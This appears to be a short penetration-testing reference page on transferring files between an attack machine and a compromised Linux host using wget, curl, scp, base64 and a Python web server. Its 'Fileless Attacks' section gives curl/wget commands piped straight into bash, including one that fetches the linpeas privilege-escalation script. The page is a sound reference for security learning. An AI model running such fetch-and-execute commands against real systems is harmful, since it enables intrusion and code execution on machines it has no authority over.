Transferring files to/from remote Linux systems
wget
wget http://ip:port/filearrow-up-right
curl
curl http://ip:port/filearrow-up-right -o file
ssh (ssh only)
From attack_machine to remote server:
scp <path to file wanted to transfer> user@ip:/<directory on the system>
From remote server to attack_machine
scp user@ip:/path/to/file .
Base64
base64 (file)
echo "base64 contents" | base64 -d > output_file
Python Web Server
python3 -m http.server
ifconfig and grab the right ip
run the wget/curl commands on the other system
Fileless Attacks
curl/wget http://ip:port/file | (bash, python3, command to execute the script)
Ex: wget https://github.com/carlospolop/PEASS-ng/releases/download/20221106/linpeas.sh | basharrow-up-right
Last updated 3 years ago